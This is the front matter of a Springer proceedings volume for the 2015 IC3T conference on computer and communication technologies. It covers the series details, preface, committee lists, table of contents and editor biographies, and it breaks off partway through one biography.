2015 IC Scopus Htpvanet IC3T-Springer-Vol3

Advances in Intelligent Systems and Computing 381
Suresh Chandra Satapathy
K. Srujan Raju
Jyotsna Kumar Mandal
Vikrant Bhateja Editors
Proceedings of the
Second International
Conference on
Computer and
Communication
Technologies
IC3T 2015, Volume 3
Advances in Intelligent Systems and Computing
Volume 381
Series editor
Janusz Kacprzyk, Polish Academy of Sciences, Warsaw, Poland
e-mail: kacprzyk@ibspan.waw.pl
sureshsatapathy@ieee.org
About this Series
The series “Advances in Intelligent Systems and Computing” contains publications on theory,
applications, and design methods of Intelligent Systems and Intelligent Computing. Virtually
all disciplines such as engineering, natural sciences, computer and information science, ICT,
economics, business, e-commerce, environment, healthcare, life science are covered. The list
of topics spans all the areas of modern intelligent systems and computing.
The publications within “Advances in Intelligent Systems and Computing” are primarily
textbooks and proceedings of important conferences, symposia and congresses. They cover
significant recent developments in the field, both of a foundational and applicable character.
An important characteristic feature of the series is the short publication time and world-wide
distribution. This permits a rapid and broad dissemination of research results.
Advisory Board
Chairman
Nikhil R. Pal, Indian Statistical Institute, Kolkata, India
e-mail: nikhil@isical.ac.in
Members
Rafael Bello, Universidad Central “Marta Abreu” de Las Villas, Santa Clara, Cuba
e-mail: rbellop@uclv.edu.cu
Emilio S. Corchado, University of Salamanca, Salamanca, Spain
e-mail: escorchado@usal.es
Hani Hagras, University of Essex, Colchester, UK
e-mail: hani@essex.ac.uk
László T. Kóczy, Széchenyi István University, Győr, Hungary
e-mail: koczy@sze.hu
Vladik Kreinovich, University of Texas at El Paso, El Paso, USA
e-mail: vladik@utep.edu
Chin-Teng Lin, National Chiao Tung University, Hsinchu, Taiwan
e-mail: ctlin@mail.nctu.edu.tw
Jie Lu, University of Technology, Sydney, Australia
e-mail: Jie.Lu@uts.edu.au
Patricia Melin, Tijuana Institute of Technology, Tijuana, Mexico
e-mail: epmelin@hafsamx.org
Nadia Nedjah, State University of Rio de Janeiro, Rio de Janeiro, Brazil
e-mail: nadia@eng.uerj.br
Ngoc Thanh Nguyen, Wroclaw University of Technology, Wroclaw, Poland
e-mail: Ngoc-Thanh.Nguyen@pwr.edu.pl
Jun Wang, The Chinese University of Hong Kong, Shatin, Hong Kong
e-mail: jwang@mae.cuhk.edu.hk
More information about this series at http://www.springer.com/series/11156
Suresh Chandra Satapathy K. Srujan Raju
•
Jyotsna Kumar Mandal Vikrant Bhateja

•
Editors
Proceedings of the Second

International Conference
on Computer
and Communication
Technologies
IC3T 2015, Volume 3
123
Editors
Suresh Chandra Satapathy Jyotsna Kumar Mandal
Department of Computer Science Department of Computer Science
and Engineering and Engineering
Anil Neerukonda Institute of Technology Kalyani University
and Sciences Nadia, West Bengal
Visakhapatnam India
India
Vikrant Bhateja
K. Srujan Raju Department of Electronics
Department of Computer Science and Communication Engineering
and Engineering Shri Ramswaroop Memorial Group
CMR Technical Campus of Professional Colleges
Hyderabad Lucknow, Uttar Pradesh
India India
ISSN 2194-5357 ISSN 2194-5365 (electronic)

Advances in Intelligent Systems and Computing
ISBN 978-81-322-2525-6 ISBN 978-81-322-2526-3 (eBook)
DOI 10.1007/978-81-322-2526-3
Library of Congress Control Number: 2015944452
Springer New Delhi Heidelberg New York Dordrecht London

© Springer India 2016
This work is subject to copyright. All rights are reserved by the Publisher, whether the whole or part
of the material is concerned, specifically the rights of translation, reprinting, reuse of illustrations,
recitation, broadcasting, reproduction on microfilms or in any other physical way, and transmission
or information storage and retrieval, electronic adaptation, computer software, or by similar or dissimilar
methodology now known or hereafter developed.
The use of general descriptive names, registered names, trademarks, service marks, etc. in this
publication does not imply, even in the absence of a specific statement, that such names are exempt from
the relevant protective laws and regulations and therefore free for general use.
The publisher, the authors and the editors are safe to assume that the advice and information in this
book are believed to be true and accurate at the date of publication. Neither the publisher nor the
authors or the editors give a warranty, express or implied, with respect to the material contained herein or
for any errors or omissions that may have been made.
Printed on acid-free paper
Springer (India) Pvt. Ltd. is part of Springer Science+Business Media (www.springer.com)
Preface
This volume contains 71 papers presented at the 2nd International Conference on

Computer and Communication Technologies held during July 24–26, 2015 at
Hyderabad hosted by CMR Technical Campus in association with Division-V
(Education and Research) CSI. It proved to be a great platform for researchers from
across the world to report, deliberate, and review the latest progresses in the
cutting-edge research pertaining to intelligent computing and its applications to
various engineering fields. The response to IC3T 2015 has been overwhelming. It
received a good number of submissions from the different areas relating to intel-
ligent computing and its applications in main tracks and three special sessions and
after a rigorous peer-review process with the help of our program committee
members and external reviewers, we finally accepted quality papers with an
acceptance ratio of 0.35. We received submissions from seven overseas countries.
Dr. Vipin Tyagi, Jaypee University of Engineering and Technology, Guna, MP
conducted a Special Session on “Cyber Security and Digital Forensics,” Dr.
K. Ashoka Reddy Principal, Kakatiya Institute of Technology and Science,
Warangal, and Prof. Tara Sai Kumar, CMR Technical Campus, Hyderabad con-
ducted a Special Session on “Applications for Fuzzy Systems in Engineering” and
Dr. Suma. V, Dean, Research and Industry Incubation Centre (Recognized by
Ministry of Science and Technology, Government of India), Dayananda Sagar
Institutions, Bangalore conducted a Special Session on “Software Engineering and
Applications.”
We take this opportunity to thank all keynote speakers and special session chairs
for their excellent support to make IC3T 2015 a grand success.
The quality of a referred volume depends mainly on the expertise and dedication
of the reviewers. We are indebted to the program committee members and external
reviewers who not only produced excellent reviews but also did them in short time
frames. We would also like to thank CSI Hyderabad, CMR Group of Institutions,
DRDO and JNTUH for having come forward to support us to organize this mega
convention.
We express our heartfelt thanks to Mr. Ch. Gopal Reddy, Chairman of CMR
Technical Campus, Smt. C. Vasanthalatha, Secretary of CMR Technical Campus,
vi Preface
and Dr. A. Raji Reddy Director of CMR Technical Campus, faculty and admini-
strative staff for their continuous support during the course of the convention.
We would also like to thank the authors and participants of this convention, who
have considered the convention above all hardships. Finally, we would like to thank
all the volunteers who spent tireless efforts in meeting the deadlines and arranging
every detail to make sure that the convention runs smoothly. All the efforts are
worth and would please us all, if the readers of this proceedings and participants of
this convention found the papers and event inspiring and enjoyable. We place our
sincere thanks to the press, print, and electronic media for their excellent coverage
of this convention.
July 2015 Suresh Chandra Satapathy

K. Srujan Raju
Jyotsna Kumar Mandal
Vikrant Bhateja
Team IC3T 2015
Chief Patrons
Sri. C. Gopal Reddy, Chairman

Smt. C. Vasanthalatha Reddy, Secretary
Dr. A. Raji Reddy, Director
Advisory Committee
Dr. A. Govardhan, SIT, JNTUH

Dr. V. Kamakshi Prasad, HOD-CSE, JNTUCEH
Prof. S.K. Udgata, HCU
Dr. Vasumathi, JNTUH
Dr. B. Padmaja Rani, JNTUH
Dr. O.B.V. Ramanaiah, JNTUH
Dr. B.N. Bhandari, JNTUH
Dr. Amit Acharya, JNTUH
Dr. D. Rajya Lakshmi, JNTUV
Dr. C. Srinivasa Kumar, VITSH(VU)
Dr. V. Kamaskshi Prasad, JNTUH
Dr. M.B.R. Murthy, CMRCET
Dr. M.V. Krishna Rao, CMRIT
Dr. M. Janga Reddy, CMRIT
Dr. L. Pratap Reddy, JNTUH
Dr. T. Anil Kumar, SRIITH
Dr. K. Srinivas Rao, CMRCET
Dr. Sahu Chatrapati, JNTUM
Dr. Vaka Murali Mohan, BRC
vii
viii Team IC3T 2015
Program Chairs
Dr. A. Govardhan
Dr. K. Srujan Raju
Prof. G. Srikanth
Dr. Suresh Chandra Satapathy
Conveners
Prof. Dimlo. U. Fernandes

Prof. T. Sai Kumar
Mrs. K. Neeraja
Organizing Committee
Dr. K. Srujan Raju

Prof. T. Sai Kumar
Prof. G. Srikanth
Prof. Dimlo. U. Fernandes
Mr. N. Bhaskar
Mr. Md. Rafeeq
Mr. V. Naresh Kumar
Mr. B. Ravinder
Mr. A. Bharath Kumar, ECE
Mrs. J. Srividya, CSE
Mrs. B. Ragini Reddy, ECE
Mrs. Ch. Sudha Rani, ECE
Mr. S. Venkatesh, ECE
Mrs. K. Mohana Lakshmi, ECE
Mrs. P. Satyavathi, CSE
Mr. J. Narasimha Rao, CSE
Mr. N. Bhaskar, CSE
Mrs. B. Rama Devi, ECE, KITS
Program Committee
Ms. V. Swapna
Mrs. J. Srividya
Mr. Narasimha Rao
Mr. K. Murali
Team IC3T 2015 ix
Mrs. Suvarna Gothane

Mr. Ch. Sudha Mani
Finance Committee
Prof. G. Srikanth
Mr. D. Venkateshwarlu
Publicity Committee
Dr. K. Srujan Raju

Mr. P. Nagaraju
Mr. M. Ajay Kumar
Mr. Anirban Paul
Exhibition Committee
Prof. T. Sai Kumar

Mrs. A. Anusha
Mrs. D. Anuradha
Mr. Ameen Uddin Md.
Transport Committee
Mr. R. Nagaraju
Mr. A. Bharath Kumar
Mr. U. Yedukondalu
Mr. V. Pradeep Kumar
Hospitality Committee
Prof. K. Neeraja
Mrs. K. Kiranmai
Ms. Ch. Swapna
Mr. Md. Abdul Naqi
x Team IC3T 2015
Sponsorship Committee
Mr. K. Bharath
Mr. E. Uma Shankar
Mr. P. Kranthi Rathan
Mr. Ch. Narendar
Marketing and PR Committee
Mr. Md. Shabeer

Mr. S. Madhu
Mr. S. Satyanarayan Reddy
Mr. S. Venkatesh
Mr. A. Vamshidhar Reddy
Mr. G. Kranthi Kiran
Registrations Committee
Mrs. P. Satyavathi
Mrs. K. Shrisha
Mrs. K. Mohana Lakshmi
Mrs. K. Jeji
Cultural Committee
Mrs. Shriya kumari

Ms. B. Karuna Sree
Mrs. B. Ragini
Mr. M. Mahesh Babu
Web Portal Committee
Dr. K. Srujan Raju, CMRTC

Mr. Chandra Mohan
Mr. T. Santhosh Kumar, CSI-Hyderabad Chapter
Team IC3T 2015 xi
International Advisory Committee/Technical Committee
Mr. Gautham Mahapatra, Sr. Scientist, DRDO, India

Dr. A. Damodaram, Director, Academic and Planning, JNTUH
Dr. A. Govardhan,Director, SIT-JNTUH, India
Dr. Kun-lin Hsieh, NTU, Taiwan
Dr. Ahamad J. Rusumdar, KIT, Germany
Dr. V.R. Chirumamilla, EUT, Netherland
Dr. Halis Altun, MU, Turkey
Dr. Vakka Murali Mohan, BRC, India
Dr. K. Ashoka Reddy, KITSW, India
Dr. Md. Zafar Ali Khan, IITH, India
Dr. S.K. Udagata, UOH, India
Mr. Anirban Pal, Tech Mahindra, India
External Reviewers Board
Ankur Singh Bist, KIET, Ghaziabad, India

Dac-Nhuong Le, VNU University, Hanoi, Vietnam
Sumit Ashok Khandelwal, MIT Academy of Engineering, Pune, India
Srinivas Sethi, Indira Gandhi Institute of Technology, India
Kavita Choudhary, ITM University, Gurgaon, India
Ashwini B. Abhale, D. Y. Patil College of Engineering, Akurdi, India
Sadhana J. Kamatkar, University of Mumbai, Mumbai, India
Musheer Ahmad, Jamia Millia Islamia, New Delhi, India
Mridu Sahu, NIT, Raipur, Chhattisgarh, India
Ranjan Tripathi, SRMGPC, Lucknow (U.P.), India
Steven Lawrence Fernandes, Sahyadri College of Engineering & Management,
Mangalore, India
G. Rosline Nesa Kumari, Saveetha School of Engineering, Saveetha University,
Chennai, India
Arshad Mohd. Khan, Innovative Technologies, Hyderabad, India
Nikhil Bhargava, CSI ADM, Ericsson, India
Chirag Arora, KIET, Ghaziabad, India
H.V. Jayashree, PESIT, Bangalore, India
Ravi Tomar, University of Petroleum and Energy Studies, Dehradun, India
Sourav Samanta, University Institute of Technology, BU, India
Srinivas Aluvala, SR Engineering College, Warangal, India
Ritesh Maurya, ABVIITM, Gwalior, India
Abdul Wahid Ansari, University of Delhi, New Delhi, India
Gaikwad Bharatratna Pralhadrao, LPP Institute, Vivekanand College campus,
Aurangabad
A.N. Nagamani, PESIT, Bangalore, India
xii Team IC3T 2015
Balasaheb Deokate, Vidya Pratishthan’s College of Engineering, Baramati, India

Satya Narayan Tazi, Government Engineering College, Ajmer, India
Sherin Zafar, Jamia Millia Islamia, New Delhi, India
Dileep Kumar Yadav, MRCE, Faridabad, India
Gustavo Fernandez, Austrian Institute of Technology, Vienna, Austria
Banani Saha, University of Calcutta, Kolkatta, India
Jagdish Chandra Patni, University of Petroleum and Energy Studies, Dehradun,
India
Sayan Chakraborty, NIT, Durgapur, India
Kamble Vaibhav Venkatrao, Dr. Babasaheb Ambedkar Marathwada University
Aurangabad, Maharashtra, India
Tushar V. Ratanpara, C. U. Shah University, Gujarat
Hem Kumar Gopal, Government College for Women, Mandya, India
Rupayan Das, University of Engineering & Management (UEM), Jaipur, Rajasthan
Maheswari Senthilkumar, Sambhram Institute of Technology, Bangalore, India
Hemprasad Y. Patil, LGNSCE, University of Pune, India
Angshuman Khan, University of Engineering and Management, Jaipur, India
Kamal Kant Sharma, Chandigarh University, Gharuan, Mohali, India
Sk. Md. Obaidullah, Aliah University, Kolkata, West Bengal, India
Nilanjan Dey, Bengal College of Engineering and Technology, Durgapur, India
Andhe Dharani, Mother Teresa Women’s University, India
Sandip Das, University of Engineering and Management, Jaipur
Chayan Halder, West Bengal State University, Barasat, Kolkata, India
Vipin Khattri, SRMU, Lucknow-Deva Road, U.P., India
Alak Majumder, NIT, Arunachal Pradesh, India
Amartya Mukherjee, Bengal College of Engineering and Technology, Durgapur,
India
Suvojit Acharjee, NIT, Agartala, India
Aarti Singh, MMICTBM, M. M. University, Mullana, India
Ramesh Sunder Nayak, Canara Engineering College, Benjanapadavu, Mangalore,
India
P.K. Gupta, Jaypee University of Engineering and Technology, Raghogarh, India
Shilpa Bahl, KIIT, Gurgaon, India
Sudhir Kumar Sharma, Ansal Institute of Technology, GGS Indraprastha
University, Gurgaon, India
Bikesh Kumar Singh, NIT, Raipur, Chhattisgarh, India
Inderpreet Kaur, Chandigarh University, Gharuan, Mohali
Subuhi Khan, AMU, Aligarh, India
Shabana Urooj, GBU, Greater Noida, India
Mukul Misra, SRMU, Lucknow-Deva Road, U.P., India
Paras Jain, Jaypee University of Engineering and Technology, Raghogarh, India
Suresh Limkar, AISSMS IOIT, Pune, India
Pritee Parwekar, ANITS, Vishakhapatnam, India
Sri N. Madhava Raja, St. Joseph’s College of Engineering, Chennai, Tamil Nadu,
India
Team IC3T 2015 xiii
S. Ratan Kumar, ANITS, Vishakapatnam

S. Sridevi Sathya Priya, Karunya University, Coimbatore, Tamilnadu, India
Nishant Shrivastava, Jaypee University of Engineering and Technology,
Raghogarh, India
Rajinikanth Venkatesan, St. Joseph’s College of Engineering, Chennai, India.
Sireesha Rodda, GITAM University, Visakhapatnam, A.P., India
Tanmoy Halder, University of Kalyani, West Bengal, India
Garima Singh, Jaypee University of Information Technology, Waknaghat, Solan,
H.P., India
A. Rajiredyy, CMR Technical campus, Hyderabad
Somnath Mukhopadhyay, University of Kalyani, West Bengal, India
Abhinav Krishn, SRMGPC, Lucknow (U.P.), India
Himanshi Patel, SRMGPC, Lucknow (U.P.), India
Arindam Sarkar, University of Kalyani, West Bengal, India
Y.V. Srinivasa Murthy, NIT, Surathkal, India
Uttam Mondal, College of Engineering and Management, Kolaghat, India
Akanksha Sahu, SRMGPC, Lucknow (U.P.), India
Tara Sai Kumar, CMR Technical campus, Hyderabad
B.N. Biswal, BEC, Bhubaneswar
And many more…
Contents
Gesture Controlled Wireless Device for Disabled. . . . . . . . . . . . . . . . . 1

Shantanu, Manish Sharma, Bhupendra Singh, Mohit Agarwal
and Amit Kumar
Implementation of Genetic Algorithm for Optimization

of Network Route . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
Kamal Kant Sharma and Inderpreet Kaur
An Investigation of Gabor PCA and Different Similarity Measure

Techniques for Image Classification . . . . . . . . . . . . . . . . . . . . . . . . . . 15
N. Hemavathi, T.R. Anusha, K. Mahantesh
and V.N. Manjunath Aradhya
A Low-Power High-Speed Double Manchester Carry Chain

with Carry-Skip Using D3L . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
J. Asha, Kala Bharathan and Anuja T. Samuel
Study and Analysis of Electrocardiography Signals for

Computation of R Peak Value for Sleep Apnea Patient . . . . . . . . . . . . 35
Mridu Sahu, Saransh Shirke, Garima Pathak, Prashant Agarwal,
Ravina Gupta, Vishal Sodhi, N.K. Nagwani and Shrish Verma
Design and Implementation of Two-Wheeled Self-Balancing

Vehicle Using Accelerometer and Fuzzy Logic . . . . . . . . . . . . . . . . . . 45
Sunu S. Babu and Anju S. Pillai
A Time Efficient Secret Image Sharing Scheme for Group

Authentication System Without Pixel Expansions . . . . . . . . . . . . . . . . 55
Samarpita Biswas, Nicole Belinda Dillen, Dipak Kumar Kole
and Aruna Chakraborty
xv
xvi Contents
Imputation of Missing Gene Expressions for DNA Microarray

Using Particle Swarm Optimization . . . . . . . . . . . . . . . . . . . . . . . . . . 65
Chanda Panse, Manali Kshirsagar, Dhananjay Raje
and Dipak Wajgi
Deep Belief Network Based Part-of-Speech Tagger

for Telugu Language . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
M. Jagadeesh, M. Anand Kumar and K.P. Soman
On Context Awareness for Multisensor Data Fusion in IoT . . . . . . . . . 85

Shilpa Gite and Himanshu Agrawal
CRiPT: Cryptography in Penetration Testing . . . . . . . . . . . . . . . . . . . 95

Sachin Ahuja, Rahul Johari and Chetna Khokhar
Simultaneous Localization and Mapping for Visually

Impaired People for Outdoor Environment. . . . . . . . . . . . . . . . . . . . . 107
Anurag Joshi, Himanshu Agrawal and Poorva Agrawal
Automatic ECG Image Classification Using HOG and RPC

Features by Template Matching . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
V. Rathikarani, P. Dhanalakshmi and K. Vijayakumar
Enhancement of Fuzzy Rank Aggregation Technique . . . . . . . . . . . . . 127

Mohd Zeeshan Ansari, M.M. Sufyan Beg and Manoj Kumar
Intelligent Telecommunication System Using Semantic-Based

Information Retrieval . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137
E. Ajith Jubilson, P. Dhanavanthini, P. Victer Paul, V. Pravinpathi,
M. RamCoumare and S. Paranidharan
Minimizing Excessive Handover Using Optimized Cuckoo

Algorithm in Heterogeneous Wireless Networks . . . . . . . . . . . . . . . . . 145
Salavadi Ananda Kumar and K.E. Sreenivasa Murthy
Audio Songs Classification Based on Music Patterns . . . . . . . . . . . . . . 157

Rahul Sharma, Y.V. Srinivasa Murthy and Shashidhar G. Koolagudi
Software Reliability Based on Software Measures Applying

Bayesian Technique . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167
Anitha Senathi, Gopika Vinod and Dipti Jadhav
Contents xvii
On Context Awareness and Analysis of Various Classification

Algorithms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175
Umang Nanda, Shrey Rajput, Himanshu Agrawal, Antriksh Goel
and Mohit Gurnani
Neural Network-Based Automated Priority Assigner . . . . . . . . . . . . . . 183

Harsh Bhasin, Esha Khanna and Kapil Sharma
Design of IMC Controller for TITO Process with Dynamic

Closed-Loop Time Constant . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191
Parikshit Kumar Paul, Chanchal Dey and Rajani K. Mudi
All Optical SOA-MZI-Based Encryption Decryption System

Using Co Propagating Optical Pulses and CW Wave at 40 Gb/s . . . . . 201
Vipul Agarwal and Vijayshri Chaurasia
Exploiting Common Nodes in Overlapped Clusters for Path

Optimization in Wireless Sensor Networks . . . . . . . . . . . . . . . . . . . . . 209
Devendra Rao BV, D. Vasumathi and Satyanarayana V. Nandury
Maximizing Availability and Minimizing Markesan for Task

Scheduling in Grid Computing Using NSGA II . . . . . . . . . . . . . . . . . . 219
Dinesh Prasad Sahu, Karan Singh and Shiv Prakash
Moving Object Detection for Visual Surveillance

Using Quasi-euclidian Distance. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225
Dileep Kumar Yadav and Karan Singh
IoTA: Internet of Things Application . . . . . . . . . . . . . . . . . . . . . . . . . 235

Improving Performance of Wireless Mesh Networks Through

User Association Method . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249
G. Vijaya Kumar and C. Shoba Bindu
Characterization of Human Fingernails Using Iterative

Thresholding Segmentation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 259
N.S. Kumuda, M.S. Dinesh and G. Hemantha Kumar
Confidential Terms Detection Using Language Modeling

Technique in Data Leakage Prevention. . . . . . . . . . . . . . . . . . . . . . . . 271
Peneti Subhashini and B. Padmaja Rani
xviii Contents
ECG-Driven Extraction of Respiration Rate Using Ensemble

Empirical Mode Decomposition and Canonical Correlation
Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281
Vineet Kumar and Gurpreet Singh
An Efficient On-Chip Implementation of Reconfigurable

Continuous Time Sigma Delta ADC for Digital Beamforming
Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 291
Anjani Harsha Vardhini Palagiri, Madhavi Latha Makkena
and Krishna Reddy Chantigari
Random Forest for the Real Forests . . . . . . . . . . . . . . . . . . . . . . . . . . 301

Sharan Agrawal, Shivam Rana and Tanvir Ahmad
Hybrid GA and PSO Approach for Transmission Expansion

Planning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 311
Shilpi Sisodia, Yogendra Kumar and Arun Kumar Wadhwani
Pattern Detection Framework for MRI Images and Labeling

Volume of Interest (VoI) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323
Rupal Snehkunj, Richa Mehta and Aashish N. Jani
A Distributed Spanning Tree-Based Dynamic Self-Organizational

Framework for Web Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 333
J. Amudhavel, U. Prabu, N. Saravanan, P. Dhavachelvan, R. Baskaran
and V.S.K. Venkatachalapathy
Recursive Ant Colony Optimization Routing in Wireless

Mesh Network. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 341
J. Amudhavel, S. Padmapriya, R. Nandhini, G. Kavipriya,
P. Dhavachelvan and V.S.K. Venkatachalapathy
Image Processing Representation Using Binary Image; Grayscale,

Color Image, and Histogram . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 353
Vaka Murali Mohan, R. Kanaka Durga, Swathi Devathi
and K. Srujan Raju
A Vector Space Model Approach for Web Attack Classification

Using Machine Learning Technique . . . . . . . . . . . . . . . . . . . . . . . . . . 363
B.V. Ram Naresh Yadav, B. Satyanarayana and D. Vasumathi
Formal Verification of Secure Authentication in Wireless

Mesh Network (SAWMN) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 375
Ninni Singh and Hemraj Saini
Contents xix
Visual K-Means Approach for Handling Class Imbalance

Learning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 389
Ch.N. Santhosh Kumar, K. Nageswara Rao and A. Govardhan
A Framework for Discovering Important Patterns Through

Parallel Mining of Protein–Protein Interaction Network . . . . . . . . . . . 397
Sarbani Dasgupta and Banani Saha
Implementing DNA Encryption Technique in Web Services

to Embed Confidentiality in Cloud . . . . . . . . . . . . . . . . . . . . . . . . . . . 407
Gunjan Gugnani, S.P. Ghrera, P.K. Gupta, Reza Malekian
and B.T.J. Maharaj
An Efficient Motion Detection Method Based on Estimation

of Initial Motion Field Using Local Variance . . . . . . . . . . . . . . . . . . . 417
Satrughan Kumar and Jigyendra Sen Yadav
A Survey on Texture Image Retrieval. . . . . . . . . . . . . . . . . . . . . . . . . 427

Ghanshyam Raghuwanshi and Vipin Tyagi
Converged OAM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 437

Prashant Saste and Jason Martis
Rule Reduction of a Neuro-Fuzzy PI Controller with Real-Time

Implementation on a Speed Control Process . . . . . . . . . . . . . . . . . . . . 445
Arijit Ghosh, Satyaki Sen and Chanchal Dey
Construction of Binary and Nonbinary LDPC-like Codes

from Kernel Codes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 459
C. Pavan Kumar, R. Selvakumar and Raghunadh K. Bhattar
Simulation-Level Implementation of Face Recognition

in Uncontrolled Environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 467
Steven Lawrence Fernandes and G. Josemin Bala
Analyzing State-of-the-Art Techniques for Fusion of Multimodal

Biometrics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 473
Genetic Algorithmic Approach to Mitigate Starvation in Wireless

Mesh Networks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 479
Potti Balamuralikrishna, M.V. Subramanyam and K. Satya Prasad
xx Contents
Handwritten Indic Script Identification from Document

Images—A Statistical Comparison of Different Attribute
Selection Techniques in Multi-classifier Environment . . . . . . . . . . . . . 491
Sk Md Obaidullah, Chayan Halder, Nibaran Das and Kaushik Roy
An FPGA-Based Embedded System for Real-Time

Data Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 501
Pradyut Kumar Sanki
Clustering of Noisy Regions (CNR)—A GIS Anchored

Technique for Clustering on Raster Map . . . . . . . . . . . . . . . . . . . . . . 511
Anirban Chakraborty, J.K. Mandal, Pallavi Roy
and Pratyusha Bhattacharya
Performance of Brightness Enhancement Technique

for Narrow-Band and White-Band Images . . . . . . . . . . . . . . . . . . . . . 521
Sathi Raju Challa and D.V. Rama Koti Reddy
Z Transformation-Based High Payload Authentication Technique

with Higher Region of Convergence Value (ZATHRoc) . . . . . . . . . . . . 529
J.K. Mandal and Suman Mahapatra
Breast Tissue Density Classification Using Wavelet-Based

Texture Descriptors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 539
Jitendra Virmani and Kriti
On New Families Related to Bernoulli and Euler Polynomials . . . . . . . 547

Subuhi Khan and Mahvish Ali
Vehicular Ad Hoc Networks: Trimming Pile-Ups in Data

Dissemination Using HTPVANET Algorithm . . . . . . . . . . . . . . . . . . . 557
R.V.S. Lalitha and G. Jaya Suma
Information Extraction from Research Papers Based

on Statistical Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 573
Selvani Deepthi Kavila and D. Fathima Rani
Artificial Neural Network Classifier for Intrusion Detection

System in Computer Network . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 581
N. Lokeswari and B. Chakradhar Rao
Edge Detection on an Image Using Ant Colony Optimization . . . . . . . 593

P. Hinduja, K. Suresh and B. Ravi Kiran
Contents xxi
Cryptography Technique for a Novel Text Using Mathematical

Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 601
P. Prudvi Raj and Ch. Seshadri Rao
A New Hybrid Approach for Document Clustering

Using Tabu Search and Particle Swarm Optimization (TSPSO) . . . . . . 609
T. Haribabu and S. Jayaprada
An Effective and Efficient Clustering Based on K-Means

Using MapReduce and TLBO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 619
Praveen Kumar Pedireddla and Sunita A. Yadwad
Detection of Sinkhole Attack in Wireless Sensor Network . . . . . . . . . . 629

Imandi Raju and Pritee Parwekar
Enhancement of Stream Ciphers Security Using DNA . . . . . . . . . . . . . 637

B. Ramesh, S.A. Bhavani and P. Muralidhar
Object Recognition with Discriminately Trained Part-Based Model

on HOG (Histogram of Oriented Gradients) . . . . . . . . . . . . . . . . . . . . 645
Thanikonda Alekhya and S. Ranjan Mishra
Accuracy Assessment of Images Classification Using RBF

with Multi-swarm Optimization Methodology . . . . . . . . . . . . . . . . . . . 655
G. Shyama Chandra Prasad, A. Govardhan and T.V. Rao
Microstrip Patch Antenna Array with Metamaterial Ground

Plane for Wi-MAX Applications. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 665
Chirag Arora, Shyam S. Pattnaik and R.N. Baral
Tracking and Speed Estimation of Moving Vehicle for Traffic

Surveillance System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 673
Kamaraju Kamakula, J. Sharmila Rani, G. Santhosi
and G. Gowri Pushpa
Authentication of Audio Signals in Frequency Domain (AASF) . . . . . . 681

Uttam Kr. Mondal and J.K. Mandal
Author Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 691
About the Editors
Dr. Suresh Chandra Satapathy is currently working as Professor and Head,

Department of Computer Science and Engineering, Anil Neerukonda Institute of
Technology and Sciences (ANITS), Vishakhapatnam, Andhra Pradesh, India. He
obtained his Ph.D. in Computer Science Engineering from JNTUH, Hyderabad and
Master’s degree in Computer Science and Engineering from National Institute of
Technology (NIT), Rourkela, Odisha. He has more than 27 years of teaching and
research experience. His research interest includes machine learning, data mining,
swarm intelligence studies, and their applications to engineering. He has more than
98 publications to his credit in various reputed international journals and conference
proceedings. He has edited many volumes from Springer AISC and LNCS in the
past and he is also the editorial board member in a few international journals. He is
a senior member of IEEE and Life Member of Computer society of India.
Currently, he is the National Chairman of Division-V (Education and Research) of
Computer Society of India.
Dr. K. Srujan Raju is the Professor and Head, Department of CSE, CMR
Technical Campus. Professor Srujan earned his Ph.D. in the field of Network
Security and his current research includes computer networks, information security,
data mining, image processing, intrusion detection, and cognitive radio networks.
He has published several papers in referred international conferences and
peer-reviewed journals and also he was on the editorial board of the CSI 2014
Springer AISC series 337 and 338 volumes. In addition to this, he has served as
reviewer for many indexed journals. Professor Raju was also awarded with
Significant Contributor, Active Member Awards by Computer Society of India
(CSI) and currently he is the Hon. Secretary of CSI Hyderabad Chapter.
Dr. Jyotsna Kumar Mandal obtained M.Sc. in Physics from Jadavpur University
in 1986, M.Tech. in Computer Science from University of Calcutta. He was
awarded Ph.D. in Computer Science and Engineering by Jadavpur University in
2000. Presently, he is working as Professor of Computer Science and Engineering
and former Dean, Faculty of Engineering, Technology and Management, Kalyani
University, Kalyani, Nadia, West Bengal for two consecutive terms. He started his
xxiii
xxiv About the Editors
career as lecturer at NERIST, Arunachal Pradesh in September, 1988. He has

